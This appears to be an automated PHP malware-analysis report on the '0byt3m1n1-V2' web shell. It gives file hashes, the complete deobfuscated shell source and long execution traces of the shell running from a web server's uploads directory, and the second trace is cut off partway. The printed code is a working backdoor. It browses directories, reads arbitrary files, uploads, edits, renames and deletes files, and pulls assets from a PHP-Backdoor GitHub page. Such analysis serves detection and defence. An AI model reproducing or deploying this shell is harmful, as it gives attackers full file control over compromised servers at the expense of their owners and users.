PHP Malware Analysis

0.php7, 0b.php, ahm.php

md5: c39cf5f170cd0fc50e4cb56fc2457a3a

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

/*
    0 b y t 3 m 1 n 1 - 2.2
    Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell
*/
set_time_limit(0);
error_reporting(0);
error_log(0);
$sname = "0byt3m1n1-V2";
$__gcdir = "getcwd";
$__fgetcon7s = "file_get_contents";
$__scdir = "scandir";
$rm__dir = "rmdir";
$un__link = "unlink";
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE html><html><head><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>' . $sname . '</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>';
echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>';
if (isset($_GET['path'])) {
    $path = $_GET['path'];
    chdir($_GET['path']);
} else {
    $path = $__gcdir();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo "<table width=\"100%\" border=\"0\" align=\"center\" style=\"margin-top:-10px;\"><tr><td>";
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
    echo "<a style='font-size:13px;' href='?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo "'>{$pat}</a>/";
}
echo "<br>[ <a href=\"?\">Home</a> ]</font></td><td align=\"center\" width=\"27%\"><form enctype=\"multipart/form-data\" method=\"POST\"><input type=\"file\" name=\"file\" style=\"color:#ef6c00;margin-bottom:4px;\"/><input type=\"submit\" value=\"Upload\" /></form></td></tr><tr><td colspan=\"2\">";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<center><font color=\"#00ff00\">Upload OK!</font></center><br/>";
    } else {
        echo "<center><font color=\"red\">Upload FAILED!</font></center><br/>";
    }
}
echo "</td></tr><tr><td></table><div class=\"table-div\"></div><input id=\"image\" type=\"hidden\">";
echo "";
if (isset($_GET['filesrc'])) {
    echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr><td>File: ";
    echo "" . basename($_GET['filesrc']);
    "";
    echo "</tr></td></table><br />";
    echo "<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>";
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<center><font color=\"#00ff00\">Rename OK!</font></center><br />";
            } else {
                echo "<center><font color=\"red\">Rename Failed!</font></center><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<center><font color=\"#00ff00\">Edit File OK!.</font></center><br />";
            } else {
                echo "<center><font color=\"red\">Edit File Failed!.</font></center><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if ($rm__dir($_POST['path'])) {
                echo "<center><font color=\"#00ff00\">Dir Deleted!</font></center><br />";
            } else {
                echo "<center><font color=\"red\">Delete Dir Failed!</font></center><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if ($un__link($_POST['path'])) {
                echo "<font color=\"#00ff00\">Delete File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete File Error.</font><br />";
            }
        }
    }
    echo "</center>";
    $_scdir = $__scdir($path);
    echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr class=\"first\"> <th><center>Name</center></th><th width=\"12%\"><center>Size</center></th><th width=\"10%\"><center>Permissions</center></th> <th width=\"15%\"><center>Last Update</center></th><th width=\"11%\"><center>Options</center></th></tr>";
    foreach ($_scdir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr><td>[D] <a href=\"?path={$path}/{$dir}\">{$dir}</a></td><td><center>--</center></td><td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"#00ff00\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$dir}")) . "";
        echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path={$path}\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"{$dir}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    foreach ($_scdir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr><td>[F] <a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td><td><center>" . $size . "</center></td><td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"#00ff00\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$file}")) . "";
        echo "</center></td><td><center><form method=\"POST\" action=\"?option&path={$path}\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"{$file}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    echo "</table></div>";
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
echo "<br><center>&copy; <span id=\"footer\"></span> 2018.</center><br>";
echo "<script type=\"text/javascript\" src=\"//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js\"></script>";
echo "</body></html><!-- EOF -->";

Execution traces

data/traces/c39cf5f170cd0fc50e4cb56fc2457a3a_trace-1676239181.3332.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:00:07.231064]
1	0	1	0.000182	393512
1	3	0	0.000477	445256	{main}	1		/var/www/html/uploads/ahm.php	0	0
2	4	0	0.000494	445256	set_time_limit	0		/var/www/html/uploads/ahm.php	8	1	0
2	4	1	0.000511	445320
2	4	R			FALSE
2	5	0	0.000525	445288	error_reporting	0		/var/www/html/uploads/ahm.php	9	1	0
2	5	1	0.000538	445328
2	5	R			22527
2	6	0	0.000551	445288	error_log	0		/var/www/html/uploads/ahm.php	10	1	0
2	6	1	0.000578	445320
2	6	R			TRUE
1		A						/var/www/html/uploads/ahm.php	12	$sname = '0byt3m1n1-V2'
1		A						/var/www/html/uploads/ahm.php	13	$__gcdir = 'getcwd'
1		A						/var/www/html/uploads/ahm.php	14	$__fgetcon7s = 'file_get_contents'
1		A						/var/www/html/uploads/ahm.php	15	$__scdir = 'scandir'
1		A						/var/www/html/uploads/ahm.php	16	$rm__dir = 'rmdir'
1		A						/var/www/html/uploads/ahm.php	17	$un__link = 'unlink'
2	7	0	0.000658	445288	get_magic_quotes_gpc	0		/var/www/html/uploads/ahm.php	19	0
2	7	1	0.000670	445288
2	7	R			FALSE
2	8	0	0.000686	445288	getcwd	0		/var/www/html/uploads/ahm.php	32	0
2	8	1	0.000710	445336
2	8	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/ahm.php	32	$path = '/var/www/html/uploads'
2	9	0	0.000736	445336	str_replace	0		/var/www/html/uploads/ahm.php	34	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.000752	445432
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/ahm.php	34	$path = '/var/www/html/uploads'
2	10	0	0.000775	445336	explode	0		/var/www/html/uploads/ahm.php	35	2	'/'	'/var/www/html/uploads'
2	10	1	0.000789	445912
2	10	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/ahm.php	35	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/ahm.php	38	$id = 0
1		A						/var/www/html/uploads/ahm.php	40	$i = 0
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	38	$id = 1
1		A						/var/www/html/uploads/ahm.php	40	$i = 0
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	38	$id = 2
1		A						/var/www/html/uploads/ahm.php	40	$i = 0
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	38	$id = 3
1		A						/var/www/html/uploads/ahm.php	40	$i = 0
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	38	$id = 4
1		A						/var/www/html/uploads/ahm.php	40	$i = 0
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
1		A						/var/www/html/uploads/ahm.php	40	$i++
2	11	0	0.001105	445840	scandir	0		/var/www/html/uploads/ahm.php	107	1	'/var/www/html/uploads'
2	11	1	0.001140	446456
2	11	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'ahm.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/ahm.php	107	$_scdir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'ahm.php', 4 => 'data', 5 => 'prepend.php']
2	12	0	0.001179	446472	is_dir	0		/var/www/html/uploads/ahm.php	110	1	'/var/www/html/uploads/.'
2	12	1	0.001195	446536
2	12	R			TRUE
2	13	0	0.001210	446504	is_dir	0		/var/www/html/uploads/ahm.php	110	1	'/var/www/html/uploads/..'
2	13	1	0.001225	446552
2	13	R			TRUE
2	14	0	0.001238	446512	is_dir	0		/var/www/html/uploads/ahm.php	110	1	'/var/www/html/uploads/.htaccess'
2	14	1	0.001253	446552
2	14	R			FALSE
2	15	0	0.001266	446512	is_dir	0		/var/www/html/uploads/ahm.php	110	1	'/var/www/html/uploads/ahm.php'
2	15	1	0.001280	446552
2	15	R			FALSE
2	16	0	0.001293	446512	is_dir	0		/var/www/html/uploads/ahm.php	110	1	'/var/www/html/uploads/data'
2	16	1	0.001307	446552
2	16	R			TRUE
2	17	0	0.001321	446512	is_writable	0		/var/www/html/uploads/ahm.php	113	1	'/var/www/html/uploads/data'
2	17	1	0.001337	446552
2	17	R			TRUE
2	18	0	0.001357	446512	perms	1		/var/www/html/uploads/ahm.php	117	1	'/var/www/html/uploads/data'
3	19	0	0.001370	446512	fileperms	0		/var/www/html/uploads/ahm.php	148	1	'/var/www/html/uploads/data'
3	19	1	0.001383	446552
3	19	R			16895
2		A						/var/www/html/uploads/ahm.php	148	$perms = 16895
2		A						/var/www/html/uploads/ahm.php	158	$info = 'd'
2		A						/var/www/html/uploads/ahm.php	166	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	167	$info .= 'w'
2		A						/var/www/html/uploads/ahm.php	168	$info .= 'x'
2		A						/var/www/html/uploads/ahm.php	169	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	170	$info .= 'w'
2		A						/var/www/html/uploads/ahm.php	171	$info .= 'x'
2		A						/var/www/html/uploads/ahm.php	172	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	173	$info .= 'w'
2		A						/var/www/html/uploads/ahm.php	174	$info .= 'x'
2	18	1	0.001549	446552
2	18	R			'drwxrwxrwx'
2	20	0	0.001565	446512	is_writable	0		/var/www/html/uploads/ahm.php	118	1	'/var/www/html/uploads/data'
2	20	1	0.001582	446552
2	20	R			TRUE
2	21	0	0.001595	446512	filemtime	0		/var/www/html/uploads/ahm.php	120	1	'/var/www/html/uploads/data'
2	21	1	0.001608	446552
2	21	R			1676239181
2	22	0	0.001621	446456	date	0		/var/www/html/uploads/ahm.php	120	2	'd-M-Y H:i'	1676239181
2	22	1	0.001682	448848
2	22	R			'12-Feb-2023 16:59'
2	23	0	0.001701	448584	is_dir	0		/var/www/html/uploads/ahm.php	110	1	'/var/www/html/uploads/prepend.php'
2	23	1	0.001718	448632
2	23	R			FALSE
2	24	0	0.001732	448576	is_file	0		/var/www/html/uploads/ahm.php	124	1	'/var/www/html/uploads/.'
2	24	1	0.001746	448600
2	24	R			FALSE
2	25	0	0.001759	448568	is_file	0		/var/www/html/uploads/ahm.php	124	1	'/var/www/html/uploads/..'
2	25	1	0.001773	448616
2	25	R			FALSE
2	26	0	0.001786	448576	is_file	0		/var/www/html/uploads/ahm.php	124	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001801	448616
2	26	R			TRUE
2	27	0	0.001813	448576	filesize	0		/var/www/html/uploads/ahm.php	126	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001826	448616
2	27	R			64
1		A						/var/www/html/uploads/ahm.php	126	$size = 0.0625
2	28	0	0.001851	448520	round	0		/var/www/html/uploads/ahm.php	127	2	0.0625	3
2	28	1	0.001864	448592
2	28	R			0.063
1		A						/var/www/html/uploads/ahm.php	127	$size = 0.063
1		A						/var/www/html/uploads/ahm.php	131	$size = '0.063 KB'
2	29	0	0.001900	448616	is_writable	0		/var/www/html/uploads/ahm.php	134	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001917	448656
2	29	R			FALSE
2	30	0	0.001930	448616	is_readable	0		/var/www/html/uploads/ahm.php	136	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001945	448656
2	30	R			TRUE
2	31	0	0.001958	448616	perms	1		/var/www/html/uploads/ahm.php	138	1	'/var/www/html/uploads/.htaccess'
3	32	0	0.001971	448616	fileperms	0		/var/www/html/uploads/ahm.php	148	1	'/var/www/html/uploads/.htaccess'
3	32	1	0.001984	448656
3	32	R			33188
2		A						/var/www/html/uploads/ahm.php	148	$perms = 33188
2		A						/var/www/html/uploads/ahm.php	154	$info = '-'
2		A						/var/www/html/uploads/ahm.php	166	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	167	$info .= 'w'
2		A						/var/www/html/uploads/ahm.php	168	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	169	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	170	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	171	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	172	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	173	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	174	$info .= '-'
2	31	1	0.002100	448656
2	31	R			'-rw-r--r--'
2	33	0	0.002115	448616	is_writable	0		/var/www/html/uploads/ahm.php	139	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.002130	448656
2	33	R			FALSE
2	34	0	0.002144	448616	is_readable	0		/var/www/html/uploads/ahm.php	139	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.002158	448656
2	34	R			TRUE
2	35	0	0.002171	448616	filemtime	0		/var/www/html/uploads/ahm.php	141	1	'/var/www/html/uploads/.htaccess'
2	35	1	0.002184	448656
2	35	R			1676239181
2	36	0	0.002196	448560	date	0		/var/www/html/uploads/ahm.php	141	2	'd-M-Y H:i'	1676239181
2	36	1	0.002238	448888
2	36	R			'12-Feb-2023 16:59'
2	37	0	0.002254	448616	is_file	0		/var/www/html/uploads/ahm.php	124	1	'/var/www/html/uploads/ahm.php'
2	37	1	0.002268	448656
2	37	R			TRUE
2	38	0	0.002281	448616	filesize	0		/var/www/html/uploads/ahm.php	126	1	'/var/www/html/uploads/ahm.php'
2	38	1	0.002294	448656
2	38	R			9333
1		A						/var/www/html/uploads/ahm.php	126	$size = 9.1142578125
2	39	0	0.002318	448520	round	0		/var/www/html/uploads/ahm.php	127	2	9.1142578125	3
2	39	1	0.002331	448592
2	39	R			9.114
1		A						/var/www/html/uploads/ahm.php	127	$size = 9.114
1		A						/var/www/html/uploads/ahm.php	131	$size = '9.114 KB'
2	40	0	0.002366	448616	is_writable	0		/var/www/html/uploads/ahm.php	134	1	'/var/www/html/uploads/ahm.php'
2	40	1	0.002381	448656
2	40	R			FALSE
2	41	0	0.002394	448616	is_readable	0		/var/www/html/uploads/ahm.php	136	1	'/var/www/html/uploads/ahm.php'
2	41	1	0.002408	448656
2	41	R			TRUE
2	42	0	0.002421	448616	perms	1		/var/www/html/uploads/ahm.php	138	1	'/var/www/html/uploads/ahm.php'
3	43	0	0.002433	448616	fileperms	0		/var/www/html/uploads/ahm.php	148	1	'/var/www/html/uploads/ahm.php'
3	43	1	0.002446	448656
3	43	R			33204
2		A						/var/www/html/uploads/ahm.php	148	$perms = 33204
2		A						/var/www/html/uploads/ahm.php	154	$info = '-'
2		A						/var/www/html/uploads/ahm.php	166	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	167	$info .= 'w'
2		A						/var/www/html/uploads/ahm.php	168	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	169	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	170	$info .= 'w'
2		A						/var/www/html/uploads/ahm.php	171	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	172	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	173	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	174	$info .= '-'
2	42	1	0.002561	448656
2	42	R			'-rw-rw-r--'
2	44	0	0.002575	448616	is_writable	0		/var/www/html/uploads/ahm.php	139	1	'/var/www/html/uploads/ahm.php'
2	44	1	0.002590	448656
2	44	R			FALSE
2	45	0	0.002603	448616	is_readable	0		/var/www/html/uploads/ahm.php	139	1	'/var/www/html/uploads/ahm.php'
2	45	1	0.002618	448656
2	45	R			TRUE
2	46	0	0.002630	448616	filemtime	0		/var/www/html/uploads/ahm.php	141	1	'/var/www/html/uploads/ahm.php'
2	46	1	0.002643	448656
2	46	R			1676239181
2	47	0	0.002656	448560	date	0		/var/www/html/uploads/ahm.php	141	2	'd-M-Y H:i'	1676239181
2	47	1	0.002686	448888
2	47	R			'12-Feb-2023 16:59'
2	48	0	0.002702	448616	is_file	0		/var/www/html/uploads/ahm.php	124	1	'/var/www/html/uploads/data'
2	48	1	0.002716	448656
2	48	R			FALSE
2	49	0	0.002729	448624	is_file	0		/var/www/html/uploads/ahm.php	124	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002744	448672
2	49	R			TRUE
2	50	0	0.002757	448632	filesize	0		/var/www/html/uploads/ahm.php	126	1	'/var/www/html/uploads/prepend.php'
2	50	1	0.002770	448672
2	50	R			57
1		A						/var/www/html/uploads/ahm.php	126	$size = 0.0556640625
2	51	0	0.002794	448528	round	0		/var/www/html/uploads/ahm.php	127	2	0.0556640625	3
2	51	1	0.002807	448600
2	51	R			0.056
1		A						/var/www/html/uploads/ahm.php	127	$size = 0.056
1		A						/var/www/html/uploads/ahm.php	131	$size = '0.056 KB'
2	52	0	0.002842	448632	is_writable	0		/var/www/html/uploads/ahm.php	134	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002858	448672
2	52	R			FALSE
2	53	0	0.002871	448632	is_readable	0		/var/www/html/uploads/ahm.php	136	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002886	448672
2	53	R			TRUE
2	54	0	0.002899	448632	perms	1		/var/www/html/uploads/ahm.php	138	1	'/var/www/html/uploads/prepend.php'
3	55	0	0.002911	448632	fileperms	0		/var/www/html/uploads/ahm.php	148	1	'/var/www/html/uploads/prepend.php'
3	55	1	0.002924	448672
3	55	R			33261
2		A						/var/www/html/uploads/ahm.php	148	$perms = 33261
2		A						/var/www/html/uploads/ahm.php	154	$info = '-'
2		A						/var/www/html/uploads/ahm.php	166	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	167	$info .= 'w'
2		A						/var/www/html/uploads/ahm.php	168	$info .= 'x'
2		A						/var/www/html/uploads/ahm.php	169	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	170	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	171	$info .= 'x'
2		A						/var/www/html/uploads/ahm.php	172	$info .= 'r'
2		A						/var/www/html/uploads/ahm.php	173	$info .= '-'
2		A						/var/www/html/uploads/ahm.php	174	$info .= 'x'
2	54	1	0.003047	448672
2	54	R			'-rwxr-xr-x'
2	56	0	0.003061	448632	is_writable	0		/var/www/html/uploads/ahm.php	139	1	'/var/www/html/uploads/prepend.php'
2	56	1	0.003077	448672
2	56	R			FALSE
2	57	0	0.003090	448632	is_readable	0		/var/www/html/uploads/ahm.php	139	1	'/var/www/html/uploads/prepend.php'
2	57	1	0.003105	448672
2	57	R			TRUE
2	58	0	0.003118	448632	filemtime	0		/var/www/html/uploads/ahm.php	141	1	'/var/www/html/uploads/prepend.php'
2	58	1	0.003131	448672
2	58	R			1676239181
2	59	0	0.003144	448568	date	0		/var/www/html/uploads/ahm.php	141	2	'd-M-Y H:i'	1676239181
2	59	1	0.003175	448896
2	59	R			'12-Feb-2023 16:59'
1	3	1	0.003207	448680
			0.003257	326576
TRACE END   [2023-02-12 20:00:07.234171]

data/traces/c39cf5f170cd0fc50e4cb56fc2457a3a_trace-1676251837.7248.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:31:03.622627]
1	0	1	0.000173	393464
1	3	0	0.000477	445208	{main}	1		/var/www/html/uploads/0b.php	0	0
2	4	0	0.000494	445208	set_time_limit	0		/var/www/html/uploads/0b.php	8	1	0
2	4	1	0.000512	445272
2	4	R			FALSE
2	5	0	0.000526	445240	error_reporting	0		/var/www/html/uploads/0b.php	9	1	0
2	5	1	0.000539	445280
2	5	R			22527
2	6	0	0.000552	445240	error_log	0		/var/www/html/uploads/0b.php	10	1	0
2	6	1	0.000578	445272
2	6	R			TRUE
1		A						/var/www/html/uploads/0b.php	12	$sname = '0byt3m1n1-V2'
1		A						/var/www/html/uploads/0b.php	13	$__gcdir = 'getcwd'
1		A						/var/www/html/uploads/0b.php	14	$__fgetcon7s = 'file_get_contents'
1		A						/var/www/html/uploads/0b.php	15	$__scdir = 'scandir'
1		A						/var/www/html/uploads/0b.php	16	$rm__dir = 'rmdir'
1		A						/var/www/html/uploads/0b.php	17	$un__link = 'unlink'
2	7	0	0.000658	445240	get_magic_quotes_gpc	0		/var/www/html/uploads/0b.php	19	0
2	7	1	0.000671	445240
2	7	R			FALSE
2	8	0	0.000687	445240	getcwd	0		/var/www/html/uploads/0b.php	32	0
2	8	1	0.000700	445288
2	8	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/0b.php	32	$path = '/var/www/html/uploads'
2	9	0	0.000726	445288	str_replace	0		/var/www/html/uploads/0b.php	34	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.000741	445384
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/0b.php	34	$path = '/var/www/html/uploads'
2	10	0	0.000765	445288	explode	0		/var/www/html/uploads/0b.php	35	2	'/'	'/var/www/html/uploads'
2	10	1	0.000779	445864
2	10	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/0b.php	35	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/0b.php	38	$id = 0
1		A						/var/www/html/uploads/0b.php	40	$i = 0
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	38	$id = 1
1		A						/var/www/html/uploads/0b.php	40	$i = 0
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	38	$id = 2
1		A						/var/www/html/uploads/0b.php	40	$i = 0
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	38	$id = 3
1		A						/var/www/html/uploads/0b.php	40	$i = 0
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	38	$id = 4
1		A						/var/www/html/uploads/0b.php	40	$i = 0
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
1		A						/var/www/html/uploads/0b.php	40	$i++
2	11	0	0.001019	445792	scandir	0		/var/www/html/uploads/0b.php	107	1	'/var/www/html/uploads'
2	11	1	0.001051	446408
2	11	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => '0b.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/0b.php	107	$_scdir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '0b.php', 4 => 'data', 5 => 'prepend.php']
2	12	0	0.001089	446424	is_dir	0		/var/www/html/uploads/0b.php	110	1	'/var/www/html/uploads/.'
2	12	1	0.001106	446488
2	12	R			TRUE
2	13	0	0.001120	446456	is_dir	0		/var/www/html/uploads/0b.php	110	1	'/var/www/html/uploads/..'
2	13	1	0.001135	446504
2	13	R			TRUE
2	14	0	0.001148	446464	is_dir	0		/var/www/html/uploads/0b.php	110	1	'/var/www/html/uploads/.htaccess'
2	14	1	0.001163	446504
2	14	R			FALSE
2	15	0	0.001177	446464	is_dir	0		/var/www/html/uploads/0b.php	110	1	'/var/www/html/uploads/0b.php'
2	15	1	0.001190	446504
2	15	R			FALSE
2	16	0	0.001203	446464	is_dir	0		/var/www/html/uploads/0b.php	110	1	'/var/www/html/uploads/data'
2	16	1	0.001217	446504
2	16	R			TRUE
2	17	0	0.001231	446464	is_writable	0		/var/www/html/uploads/0b.php	113	1	'/var/www/html/uploads/data'
2	17	1	0.001252	446504
2	17	R			TRUE
2	18	0	0.001315	446464	perms	1		/var/www/html/uploads/0b.php	117	1	'/var/www/html/uploads/data'
3	19	0	0.001338	446464	fileperms	0		/var/www/html/uploads/0b.php	148	1	'/var/www/html/uploads/data'
3	19	1	0.001351	446504
3	19	R			16895
2		A						/var/www/html/uploads/0b.php	148	$perms = 16895
2		A						/var/www/html/uploads/0b.php	158	$info = 'd'
2		A						/var/www/html/uploads/0b.php	166	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	167	$info .= 'w'
2		A						/var/www/html/uploads/0b.php	168	$info .= 'x'
2		A						/var/www/html/uploads/0b.php	169	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	170	$info .= 'w'
2		A						/var/www/html/uploads/0b.php	171	$info .= 'x'
